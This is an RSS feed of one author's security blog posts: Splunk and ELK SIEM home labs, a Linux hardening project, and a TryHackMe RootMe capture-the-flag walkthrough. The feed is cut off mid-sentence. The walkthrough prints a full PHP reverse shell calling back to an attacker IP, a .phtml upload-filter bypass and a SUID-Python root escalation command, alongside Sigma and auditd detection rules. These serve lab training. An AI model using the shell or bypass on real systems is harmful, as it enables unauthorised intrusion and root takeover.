            <category><![CDATA[cybersecurity-analyst]]></category>
            <dc:creator><![CDATA[Hammad Khan | SOC & Pentesting]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 23:58:46 GMT</pubDate>
            <atom:updated>2026-07-22T09:23:39.736Z</atom:updated>
            <content:encoded><![CDATA[<p>A hands-on look at deploying Splunk Enterprise, writing SPL detection rules, launching real attacks from Kali Linux, and hunting the evidence they left behind.</p><p>A few months ago I built a complete SOC home lab using the ELK Stack Elastic-search, Kibana, Logstash, the whole thing. It taught me more about how a SIEM actually works than any course I’d taken. But there was a gap: most SOC analyst job postings ask for ELK <em>or</em> Splunk, and a lot of them ask for Splunk specifically, because it’s still the dominant platform in large enterprise security teams.</p><p>So I built a second lab. Same isolated network, same attacker machine, but this time running Splunk Enterprise and I set myself one rule: every detection rule had to be validated against a real attack I launched myself, not sample data.</p><p>Here’s what that looked like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tFeF3ntQU7bi8WjjR0usKw.png" /><figcaption><em>Splunk Enterprise 10.4.0 running on Ubuntu Server 22.04</em></figcaption></figure><h3>The Architecture</h3><p>Nothing exotic three virtual machines on an isolated Host-Only network:</p><ul><li><strong>Ubuntu Server</strong> running Splunk Enterprise, collecting its own auth.log and syslog</li><li><strong>Kali Linux</strong>, the attacker, launching everything from password attacks to reverse shell indicators</li><li><strong>A Windows 10 host</strong>, feeding Security, System, and Application event logs into Splunk via a Universal Forwarder</li></ul><p>By the end, I had over 33,000 real log events indexed 23,000+ from Linux, 9,700+ from Windows all generated by actually using the lab, not by importing a sample dataset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JeR7PXEpWxcGQzVrW5kHAw.png" /><figcaption>Real authentication data flowing into the linux_logs index</figcaption></figure><h3>Detection Engineering in SPL</h3><p>If you’ve worked with Kibana’s KQL, Splunk’s SPL (Search Processing Language) will feel familiar but distinctly different. Where KQL reads like a filter, SPL reads like a pipeline — you search, then you pipe the results through a chain of commands.</p><p>Here’s a real example, the query behind my brute-force detection:</p><pre>index=linux_logs sourcetype=linux_secure Failed<br>| rex field=_raw &quot;from (?&lt;src_ip&gt;\d+\.\d+\.\d+\.\d+)&quot;<br>| rex field=_raw &quot;for (?&lt;username&gt;\w+) from&quot;<br>| stats count by src_ip, username<br>| sort -count</pre><p>That rex command is doing regex field extraction on the fly, and stats is aggregating it two lines that turn raw unstructured auth logs into a clean, sortable table of who&#39;s attacking what.</p><p>I ended up writing and deploying <strong>10 alerts</strong>, each mapped to a MITRE ATT&amp;CK technique, covering everything from SSH brute force (T1110) to Windows event log clearing (T1070.001). All ten run on a five-minute schedule, and a small but important detail they’re configured to trigger <strong>once</strong> per window rather than once per matching row, which is exactly how you’d tune alerts in a real SOC to avoid drowning analysts in duplicate notifications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yWUviIrStP0bf1fzcG7APA.png" /><figcaption>All 10 alerts active and confirmed firing</figcaption></figure><p>I also built five dashboards Linux Authentication, Windows Security, a cross-platform Threat Timeline, User Behaviour Analytics, and a SOC Operations view 30 panels in total, all backed by SPL I wrote and tested myself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qh7f2yeS0UXut5EuD4orIA.png" /><figcaption>Dashboard 1 Linux Authentication Analytics, six</figcaption></figure><h3>Then I Attacked My Own Lab</h3><p>Detection rules mean nothing until something tries to trigger them. So over the course of an afternoon, I ran eight separate attack simulations from Kali:</p><ul><li>A Hydra brute-force run against SSH 173 password attempts in 12 seconds</li><li>Username enumeration across common accounts</li><li>A full lateral-movement login using valid credentials</li><li>Privilege escalation via sudo, reading /etc/shadow</li><li>Reverse shell command patterns</li><li>Log-tampering attempts</li><li>A backdoor admin account created on the Windows host</li><li>A Windows persistence chain: a scheduled task, encoded PowerShell execution, and event log clearing</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*xxayIhv90Miv46a-la7I_Q.png" /><figcaption><em>Simulation 1 Hydra launching a brute-force</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*scQdel8Hxdq7Ze_5xg5kjA.png" /><figcaption>Simulation 4 Escalating privileges and accessing sensitive files</figcaption></figure><p>Every single one of the ten alerts fired. <strong>100% detection rate.</strong></p><h3>The Part I Didn’t Expect: A Real Windows ACL Wall</h3><p>Not everything went smoothly, and I think that’s worth writing about honestly.</p><p>Sysmon was installed and logging beautifully on the Windows host 44,930 events sitting in the local Event Viewer. But when I tried to have the Splunk Universal Forwarder ingest that specific channel, I hit a wall:</p><pre>WinEventLogChannel::init: Init failed, unable to subscribe to<br>Windows Event Log channel &#39;Microsoft-Windows-Sysmon/Operational&#39;:<br>errorCode=5</pre><p>Access denied. I tried modifying the channel ACL directly with wevtutil, tried running the forwarder service under different security contexts the restriction held. Rather than burn another day chasing it, I pivoted: I enabled command-line auditing on Windows Security Event ID 4688 (Process Creation) instead, and rebuilt my PowerShell-abuse detection around that. Same coverage, different data source.</p><p>What makes this genuinely interesting is the comparison: in my ELK lab, the exact same Sysmon telemetry ingests without issue through Winlogbeat. Same Windows host, same Sysmon config, two different agent architectures one hits a Windows permission wall, the other doesn’t. That’s a real, documented difference between how these two ecosystems handle Windows telemetry, and it’s now written up in the repo for anyone evaluating which agent to use.</p><h3>Threat Hunting: Reconstructing the Whole Attack</h3><p>Alerts tell you something fired. Threat hunting is where you go looking for the story <em>behind</em> the alerts and this was my favourite part of the project.</p><p>I ran four hypothesis-driven hunts, each starting with a question and a MITRE technique, then built out with SPL:</p><p><strong>Hunt 1Brute Force Patterns:</strong> Confirmed 173 failed attempts from a single source IP, all targeting root, all within a 12-second window clear evidence of automated tooling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3PbMceWdF_r_papLByUxiA.png" /><figcaption>Hunt 1 aggregated brute-force evidence in Splunk Search</figcaption></figure><p><strong>Hunt 2 Privilege Escalation:</strong> 180 sudo events, 58% of which touched sensitive files like /etc/shadow.</p><p><strong>Hunt 3 Lateral Movement:</strong> By baselining normal login sources (13 sessions from the Windows host), a single anomalous successful login from the Kali machine stood out immediately.</p><p><strong>Hunt 4 Persistence and Anti-Forensics:</strong> A scheduled task created one day, an event log cleared the next the attacker settling in and then trying to cover their tracks.</p><p>Put together, the four hunts reconstruct a complete, realistic kill chain: brute force → lateral movement → privilege escalation → persistence → anti-forensics. That narrative built entirely from SPL queries against raw log data is the kind of analytical work that separates a Tier 1 analyst watching an alert queue from a Tier 2/3 analyst who can explain <em>how</em> an intrusion actually unfolded.</p><h3>What This Project Actually Proves</h3><p>It’s easy to say “I know Splunk” on a resume. It’s a different thing to point to a public repository containing:</p><ul><li>10 working SPL detection rules mapped to MITRE ATT&amp;CK</li><li>5 dashboards with 30 panels, built from real data</li><li>8 documented attack simulations with full evidence chains</li><li>4 threat hunt reports that reconstruct an entire kill chain</li><li>An honestly documented platform limitation, and the workaround built around it</li></ul><p>That last point matters more than it might seem. Real environments have quirks, permission walls, and things that don’t work the way the documentation says they should. Being able to troubleshoot that, document it clearly, and build a working alternative is a more accurate signal of SOC engineering ability than a lab where everything went perfectly on the first try.</p><h3>What’s Next</h3><p>Two SIEM platforms down ELK and Splunk. Wazuh XDR is next, which will round out the detection stack with endpoint-level file integrity monitoring and vulnerability detection alongside log-based SIEM.</p><p>Full configs, SPL queries, dashboards, attack write-ups, and threat hunt reports are public on GitHub:</p><p><strong>🔗 github.com/HK101-cyber/splunk-siem-lab</strong></p><p>If you’re working through something similar or have thoughts on the Sysmon/ACL issue, I’d genuinely like to hear about it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0b9fa3919d3" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/i-built-a-splunk-siem-lab-and-got-100-detection-on-every-real-attack-i-threw-at-it-c0b9fa3919d3">I Built a Splunk SIEM Lab and Got 100% Detection on Every Real Attack I Threw At It</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Hardened a Linux Server, Lost It to My Own Mistake, and Rebuilt It From My Own Notes]]></title>
            <link>https://medium.com/@hammad.k.sec/i-hardened-a-linux-server-lost-it-to-my-own-mistake-and-rebuilt-it-from-my-own-notes-6b9f17902324?source=rss-b79eb923ba11------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b9f17902324</guid>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Hammad Khan | SOC & Pentesting]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 21:24:23 GMT</pubDate>
            <atom:updated>2026-07-18T21:24:23.457Z</atom:updated>
            <content:encoded><![CDATA[<p>What a 15-phase CIS Benchmark project and one very bad afternoon taught me about documentation as a security control</p><p>A few weeks ago I set out to do something fairly standard for a cybersecurity portfolio: take a fresh Ubuntu Server install, harden it against the CIS Ubuntu Linux 22.04 LTS Benchmark, and measure the result with an independent auditing tool. Fifteen phases, one server, one score to track.</p><p>What I didn’t plan for was losing that server entirely to a misconfiguration I made myself and having to rebuild the whole thing from scratch, live, using nothing but my own documentation.</p><p>This article covers both halves: the technical hardening work itself, and the incident that ended up teaching me more than any of the individual controls did.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nq3ABSGPZUFUWfDihFiRKg.png" /><figcaption>Lynis baseline scan</figcaption></figure><h3>Starting Point: Measure Before You Touch Anything</h3><p>Before changing a single setting, I ran a baseline security audit using <strong>Lynis</strong>, an open-source auditing tool that scores a Linux system from 0-100 across dozens of categories authentication, kernel configuration, file permissions, networking, logging, and more.</p><p><strong>Baseline score: 57 / 100.</strong></p><p>That number mattered less on its own than as a reference point. Every phase that followed was designed to close a specific gap this baseline scan revealed, and the project would close with the exact same scan run again so the final number would mean something, not just be a claim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*B0EFpnPCcyw1UeGK1y-krQ.png" /><figcaption>Lynis hardening index before</figcaption></figure><h3>The Hardening Work: 15 Phases</h3><p>I won’t walk through all fifteen in full technical detail here the complete command-by-command log is public on GitHub but the shape of the work looked like this:</p><p><strong>Filesystem and kernel hardening.</strong> Mounting /tmp with noexec,nosuid,nodev so an attacker who gets a foothold can&#39;t drop and execute a payload from a writable directory. Disabling unused filesystem kernel modules. Restricting /proc visibility so users can&#39;t enumerate each other&#39;s running processes. Enabling and verifying kernel-level protections like ASLR, kptr_restrict, and dmesg_restrict.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*x-Ib5RrD2qaiCoG7G6YroQ.png" /><figcaption>tmp noexec verification proof that noexec actually blocks execution, not just configured</figcaption></figure><p><strong>Patching and package hygiene.</strong> Automated, security-only unattended upgrades with a scheduled reboot window. Removing legacy insecure packages like telnet. Verifying GPG package signing was still enforced.</p><p><strong>SSH hardening.</strong> Key-based authentication only, root login disabled, a non-default port, and this one mattered verifying the <em>actual running configuration</em> with sshd -T rather than trusting the config file, which is how I caught a subtle bug: Ubuntu&#39;s cloud-init had auto-generated an override file that silently re-enabled password authentication, undoing my own hardening without any error or warning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*e6VHPpcpKy4bdmHcfzXIEA.png" /><figcaption>The cloud init override discovery and fix</figcaption></figure><p><strong>Password policy, user auditing, and access control.</strong> Aging policy, complexity requirements via pam_pwquality, a full account audit (no empty passwords, no unexpected UID 0 accounts, sudo group membership verified), and su restricted to an explicit authorized group.</p><p><strong>Auditd, AIDE, and AppArmor.</strong> Kernel-level audit rules covering privileged commands, file access, and authentication events, running in immutable mode. A full filesystem integrity baseline via AIDE, checked nightly by cron. AppArmor expanded from 39 default profiles to 65 enforced profiles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijDgcWhE16OsnXrukXruNg.png" /><figcaption>Auditd privileged event-captured</figcaption></figure><p><strong>Network hardening and automation.</strong> UFW configured with rate-limiting on SSH, kernel network parameters hardened against spoofing and redirect attacks, and finally, every one of these controls rolled into a single idempotent bash script meaning it can be run safely, repeatedly, without breaking an already-hardened system.</p><p>By Phase 12, the system had login banners, GRUB in the early stages of a password requirement, and a project nearly ready to close out with a final audit.</p><p>That’s when it went sideways.</p><h3>The Incident: One Missing Flag, One Lost Disk</h3><p>Adding a GRUB bootloader password is a standard, low-effort CIS recommendation it stops someone with physical or console access from editing boot parameters to bypass security entirely. The configuration itself is simple: set a superusers directive and a password hash.</p><p>What I didn’t know at the time is that this directive, applied on its own, doesn’t just protect <em>editing</em> boot entries without an accompanying --unrestricted flag on the default boot entries, GRUB requires that same password just to boot the system <strong>normally</strong>. I found this out the way you&#39;d expect: by rebooting the server and staring at a login prompt I had no way past.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*Y8zVRF24C97tLHFnrZWmMw.png" /><figcaption><strong>The GRUB recovery-mode password reset attempt</strong></figcaption></figure><p>The recovery plan was sound in theory: boot from an Ubuntu Live ISO, mount the disk externally, edit the offending config file directly, and reboot clean. In practice, in the process of getting a working terminal in the live environment, the Ubuntu installer got triggered instead of the “Try Ubuntu” live session and by the time I realised what had happened, the disk had already been repartitioned and reformatted.</p><p>I attempted a real data recovery before accepting the loss, using <strong>Test-disk </strong>to scan for remnants of the original partition table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*9VfoRGduZJnOfMFEK_kTsw.png" /><figcaption>Disk partition inventory during the recovery investigation</figcaption></figure><p>The scan came back clean and structurally consistent which was the bad news. It meant the new partition table wasn’t a partial overwrite sitting on top of recoverable data; it was a complete, fresh install. The original filesystem was gone.</p><h3>The Rebuild: Where Documentation Paid Off</h3><p>Here’s the part of this story I actually care about most.</p><p>Every command I’d run across the previous twelve phases every configuration file, every fix, every piece of reasoning for <em>why</em> a setting was chosen had already been logged in a GitHub repository, in real time, as I worked. Not reconstructed afterward. Written down as it happened.</p><p>So when the VM was gone, the rebuild wasn’t a from-scratch redo. It was closer to running a very detailed runbook: reinstall Ubuntu Server, clone the repo back down, and re-apply twelve phases of hardening in most cases by copying saved configuration files directly back into place rather than re-deriving settings from memory.</p><p>What took the better part of a week the first time took a few focused hours the second time.</p><p>And I made sure not to repeat the mistake. This time, the GRUB password was configured correctly, with --unrestricted applied to the default boot entries verified with an actual reboot, confirming normal boot required no password while editing and recovery modes remained protected.</p><p>I also made one architectural change directly informed by a <em>separate</em> incident from earlier in the project: an account-lockout feature (pam_faillock) had, at one point, misconfigured itself into breaking sudo and su authentication entirely, independent of whether the password was correct a genuinely stressful few hours involving a GRUB recovery shell and very careful troubleshooting to avoid making it worse. Rather than reintroduce that same fragile mechanism, I replaced it with <strong>fail2ban </strong>network-level IP banning that cannot lock out local administrative access the way a PAM-level lockout can.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*Lzf4o_AMOl3AG0Dp7RV51g.png" /><figcaption>Fail2ban actively monitoring the SSH port</figcaption></figure><h3>The Result</h3><p>The rebuilt system, freshly installed, scored a baseline of 64/100 a touch higher than the original 57, thanks to a newer Lynis version and Ubuntu point release. After reapplying all fourteen configuration phases plus a handful of additional “quick win” fixes (GRUB done correctly, legacy kernel packages purged, password hashing rounds strengthened), the final audit came back at:</p><p><strong>79 / 100.</strong></p><p>A 22-point improvement over the true original baseline, achieved twice once the long way, and once by trusting my own documentation enough to rebuild an entire hardened server from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*00wbls_3Cfw7t7iCVI-ZDQ.png" /><figcaption><strong>The Final audit on the rebuilt system</strong></figcaption></figure><h3>What This Actually Taught Me</h3><p>It’s tempting to write a project summary that only talks about the controls implemented and the score achieved. That’s real, measurable work, and I’m glad to have it documented. But the more useful lesson sits underneath it:</p><p><strong>A well-documented process is itself a security control.</strong> Not in the CIS Benchmark sense, but in a very practical one the difference between a lost afternoon and a lost project came down entirely to whether the work existed anywhere outside the machine that failed.</p><p>I’d also add: incidents are not something to edit out of a portfolio. The GRUB lockout, the cloud-init override that silently undid my SSH hardening, the PAM misconfiguration that nearly locked me out of sudo entirely these are the parts of the project that actually demonstrate troubleshooting ability, not the parts that make the work look clean. A perfect, uneventful build teaches a reader nothing about how you behave when something breaks.</p><h3>Full Technical Detail</h3><p>Every command, every configuration file, every screenshot, and the complete incident log including the recovery attempt that didn’t work are public:</p><p><strong>GitHub:</strong> <a href="https://github.com/HK101-cyber/linux-hardening-lab">github.com/HK101-cyber/linux-hardening-lab</a></p><p>If you’re working on something similar or want to compare notes on any of the above SSH hardening, PAM policy debugging, or just surviving your own GRUB mistakes find me here:</p><p><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/hammad-khan-sec">hammad-khan-sec</a></p><p><strong>TryHackMe:</strong> <a href="https://tryhackme.com/p/PentesterHK">PentesterHK</a></p><p><strong>LetsDefend:</strong> <a href="https://app.letsdefend.io/user/HK101cyber">HK101cyber</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b9f17902324" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RootMe CTF-File Upload, Reverse Shell & SUID Python Privilege Escalation (TryHackMe Walkthrough)]]></title>
            <link>https://medium.com/@hammad.k.sec/rootme-ctf-file-upload-reverse-shell-suid-python-privilege-escalation-tryhackme-walkthrough-3f5646e0d97d?source=rss-b79eb923ba11------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f5646e0d97d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Hammad Khan | SOC & Pentesting]]></dc:creator>
            <pubDate>Fri, 19 Jun 2026 11:30:04 GMT</pubDate>
            <atom:updated>2026-08-08T23:37:07.518Z</atom:updated>
            <content:encoded><![CDATA[<h3>I recently completed the RootMe room on TryHackMe a beginner-friendly machine that teaches two essential penetration testing concepts:</h3><ol><li><strong>Web application file upload bypass</strong></li><li><strong>SUID privilege escalation</strong></li></ol><p>This room is perfect for anyone starting their cybersecurity journey. Below is my complete walkthrough, including the attack path and detection methods for SOC teams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWX-REduAdmyJkrKqhCmMA.jpeg" /></figure><h3>Attack Walkthrough:</h3><h3>Phase 1: Reconnaissance</h3><h4>Nmap Scan</h4><p>First, I ran an Nmap scan to discover open ports and services:</p><pre>nmap -sV -sC -Pn target_ip</pre><p><strong>Results</strong>:</p><ul><li><strong>Port 22 (SSH) </strong>OpenSSH 8.2p1</li><li><strong>Port 80 (HTTP) </strong>Apache 2.4.41</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*wiLYP-YRg5ZTUZitMq6Nvg.png" /></figure><p>Only two ports were open SSH and HTTP. Since SSH wasn’t the primary attack vector, I focused on the web server.</p><h4>Directory Brute-Forcing with Gobuster:</h4><p>Next, I used Gobuster to discover hidden directories:</p><pre>gobuster dir -u http://10.113.157.86 -w /usr/share/wordlists/dirb/common.txt -t 50</pre><p><strong>Key findings</strong>:</p><ul><li>/panel – A file upload form</li><li>/uploads – Directory where uploaded files are stored</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*4n2dFkEPgczsEhipfiooaQ.png" /></figure><h3>Phase 2: File Upload Bypass</h3><p>I navigated to /panel and found a file upload form. It only accepted image files and blocked .php extensions.</p><p>To bypass this, I renamed my reverse shell payload from .php to .phtmla common bypass technique for weak upload filters.</p><p><strong>Reverse Shell Payload</strong> (shell.phtml):</p><pre>&lt;?php<br>set_time_limit(0);<br>$ip = &#39;192.168.143.13&#39;;  // Your attacker IP<br>$port = 4444;<br>$sock = fsockopen($ip, $port, $errno, $errstr, 30);<br>if (!$sock) die(&quot;error\n&quot;);<br>$descriptorspec = array(<br>    0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),<br>    1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;),<br>    2 =&gt; array(&quot;pipe&quot;, &quot;w&quot;)<br>);<br>$process = proc_open(&#39;/bin/sh -i&#39;, $descriptorspec, $pipes, NULL, NULL);<br>if (!is_resource($process)) die(&quot;error\n&quot;);<br>stream_set_blocking($pipes[0], 0);<br>stream_set_blocking($pipes[1], 0);<br>stream_set_blocking($pipes[2], 0);<br>stream_set_blocking($sock, 0);<br>while (1) {<br>    $read = array($sock, $pipes[1], $pipes[2]);<br>    $write = NULL;<br>    $except = NULL;<br>    if (false === ($num_changed = stream_select($read, $write, $except, 0, 100000))) break;<br>    foreach ($read as $fd) {<br>        if ($fd == $sock) {<br>            $cmd = fread($sock, $chunk_size);<br>            if (strlen($cmd) == 0) break 2;<br>            fwrite($pipes[0], $cmd);<br>        } elseif ($fd == $pipes[1]) {<br>            $output = fread($pipes[1], $chunk_size);<br>            if (strlen($output) == 0) break 2;<br>            fwrite($sock, $output);<br>        } elseif ($fd == $pipes[2]) {<br>            $error = fread($pipes[2], $chunk_size);<br>            if (strlen($error) == 0) break 2;<br>            fwrite($sock, $error);<br>        }<br>    }<br>}<br>fclose($sock);<br>fclose($pipes[0]);<br>fclose($pipes[1]);<br>fclose($pipes[2]);<br>proc_close($process);<br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*sAOMInLH9hAD5Jpq8Xma9Q.png" /></figure><p>As we can see we find upload form then we should need to create the php reverse shell with nano command in terminal as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_5pdndUhXuWuaL8Tc6Pm-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*IFjwon63JjT71cYf6UW6mQ.png" /></figure><p>After creating the shell we successfully upload the php reverse shell in the upload form as shown in image below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*ydeubM2AhhwAIfqRu-jX9A.png" /></figure><h3>Phase 3: Reverse Shell</h3><p>After uploading the payload, I started a netcat listener:</p><pre>nc -lvnp 4444</pre><p>Then I triggered the shell by visiting:</p><pre>http://10.113.157.86/uploads/shell.phtml</pre><p><strong>Shell caught!</strong> I was now www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*SaQXUMOhIuwu8GJpJdRCzQ.png" /></figure><p>I stabilized the shell for better usability:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br># Ctrl+Z<br>stty raw -echo; fg<br># Press Enter twice</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*mWVOOg2k5sablj65K1Gc8A.png" /></figure><h3>Phase 4: First Flag (user.txt)</h3><p>I searched for the first flag:</p><pre>find / -type f -name user.txt 2&gt;/dev/null<br>cat /var/www/user.txt</pre><p><strong>First flag obtained!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*KuClIAPIuZMxmZDGH_q8ZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*oAMbazAje_VOPlC72rz3Tw.png" /></figure><h3>Phase 5: Privilege Escalation (SUID Python)</h3><p>I checked for SUID binaries files that run with the owner’s permissions:</p><pre>find / -perm -4000 -type f 2&gt;/dev/null | grep python</pre><p><strong>Weird binary found</strong>: /usr/bin/python2.7 had SUID set. This is dangerous because Python can execute system commands as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*JO-NopbvfiQna7YX4DhTOA.png" /></figure><p>I exploited it to get a root shell:</p><p>bash</p><pre>/usr/bin/python2.7 -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39;<br>whoami  # root</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*2qvqVdpQT95-J3NmH6FD-Q.png" /></figure><h3>Phase 6: Final Flag (root.txt)</h3><p>I read the final flag:</p><pre>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*dHMZ1VAHlQxZVCSlN9E0jw.png" /></figure><p><strong>Room complete!</strong></p><h3>🏁 Flags Summary</h3><p>FlagLocationMethod<strong>user.txt</strong>/var/www/user.txtFile upload → reverse shell<strong>root.txt</strong>/root/root.txtSUID Python → privilege escalation</p><pre># Detection &amp; Mitigation (Blue Team)<br><br>| Attack Step                | Detection Method                        | Mitigation                                |<br>|---------------------------|------------------------------------------|-------------------------------------------|<br>| Directory brute force     | Web logs with 404/403 bursts            | Rate limiting, WAF                        |<br>| File upload bypass (.phtml) | Monitor upload extensions               | Whitelist allowed extensions only         |<br>| Reverse shell (PHP)       | Process monitoring (Sysmon EID 1)       | Restrict web user permissions             |<br>| SUID Python abuse         | Monitor SUID binary execution           | `chmod u-s /usr/bin/python2.7`            |</pre><h3>Sigma Rule for SUID Python Abuse:</h3><p>yaml</p><pre>title: Suspicious Python SUID Execution<br>status: experimental<br>logsource:<br>    category: process_creation<br>    product: linux<br>detection:<br>    selection:<br>        Image|endswith: &#39;/python2.7&#39;<br>        CommandLine|contains: &#39;os.execl&#39;<br>    condition: selection</pre><h3>Auditd Rule:</h3><pre>-w /usr/bin/python2.7 -p x -k python_suid_exec</pre><h3>Key Takeaways:</h3><ul><li><strong>Always run directory enumeration </strong>Hidden paths like /panel are common.</li><li><strong>Upload filters are not secure </strong>Blocking .php but allowing .phtml is a classic bypass.</li><li><strong>Stabilize reverse shells</strong>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39; is essential.</li><li><strong>SUID binaries are dangerous </strong>Python with SUID is an instant root shell.</li><li><strong>Never set SUID on interpreters</strong> Python, Perl, Ruby should never have SUID.</li></ul><h3>🔗 Full Walkthrough on GitHub</h3><p><a href="https://github.com/HK101-cyber/TryHackMe-Walkthroughs/tree/main/rootme">HK101-cyber/TryHackMe-Walkthroughs/rootme</a></p><h3>📢 Connect with Me</h3><ul><li><strong>GitHub</strong>: <a href="https://github.com/HK101-cyber">HK101-cyber</a></li><li><strong>Reddit</strong>: <a href="https://www.reddit.com/user/HK101_Cyber">HK101_Cyber</a></li><li><strong>Email</strong>: hammad.k.sec@email.com</li></ul><p>Open to remote <strong>SOC Engineer</strong> or <strong>Junior Pentesting</strong> roles.</p><p><strong>Written by Hammad Khan Cybersecurity Professional | SOC Engineer | Junior Pentester</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f5646e0d97d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a SOC Home Lab from Scratch Here’s Everything I Learned
A practical walkthrough of building…]]></title>
            <link>https://medium.com/@hammad.k.sec/i-built-a-soc-home-lab-from-scratch-heres-everything-i-learned-a-practical-walkthrough-of-building-8d2d874f15ff?source=rss-b79eb923ba11------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d2d874f15ff</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[elk-stack]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Hammad Khan | SOC & Pentesting]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 19:44:22 GMT</pubDate>
            <atom:updated>2026-06-12T19:45:37.246Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>I Built a SOC Home Lab from Scratch Here’s Everything I Learned</strong><br>A practical walkthrough of building a real ELK Stack SIEM, writing detection rules, simulating attacks, and hunting threats on your own machine.</p><p>If you have been studying cybersecurity through courses and certifications, you already know the theory. But theory alone will not get you hired. What changed everything for me was building a real, working SOC environment on my own machine from zero, with no budget, using free tools.<br>Here is exactly what I built, what I learned, and how you can do the same.</p><p><strong>What Is a SOC Home Lab and Why Does It Matter:</strong><br>A Security Operations Center home lab is a personal environment where you simulate enterprise security monitoring. You ingest real logs, write detection rules, simulate real attacks, and hunt for threats exactly like a working SOC analyst does every day on the job.<br>Hiring managers and freelance clients cannot verify that you watched a course. They can verify a GitHub repository with 20+ commits, real configuration files, detection rules, and screenshots of alerts firing. That is the difference between a candidate and a hire.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NsLcPs5Ru3QVceU46VQQGw.png" /><figcaption>figure 1.1 Kibana Dashboard</figcaption></figure><p><strong>The Lab Architecture:</strong><br>My lab runs entirely on VirtualBox with three machines communicating over an isolated Host-Only network.<br>The Ubuntu Server at 192.168.56.101 is the SIEM server running the full ELK Stack. The Kali Linux machine at 192.168.56.100 is the attacker. My Windows host runs Sysmon and Winlogbeat to ship Windows telemetry into the SIEM.</p><p><strong>The complete stack:</strong><br>Elasticsearch 8.19 stores and indexes every log event. Kibana provides the dashboard and SIEM interface. Logstash handles the log parsing pipeline. Filebeat ships Linux auth and syslog data. Winlogbeat ships Windows Event Logs. Sysmon with the SwiftOnSecurity config captures deep Windows telemetry every process creation, network connection, registry change, and file modification.<br>By the time everything was running the lab was ingesting over 500,000 real security events.</p><p><strong>Building the Detection Layer:</strong><br>Once logs were flowing I wrote six KQL detection rules directly in Kibana, each mapped to a MITRE ATT&amp;CK technique:<br>Brute Force SSH detection triggers when five or more failed authentication events occur within five minutes from the same source IP. This maps to T1110 and is the most immediately testable rule you can write.<br>Privilege Escalation detection watches for sudo activity from non-administrative users and maps to T1548. Lateral Movement detection alerts on successful SSH sessions from internal network IPs, mapping to 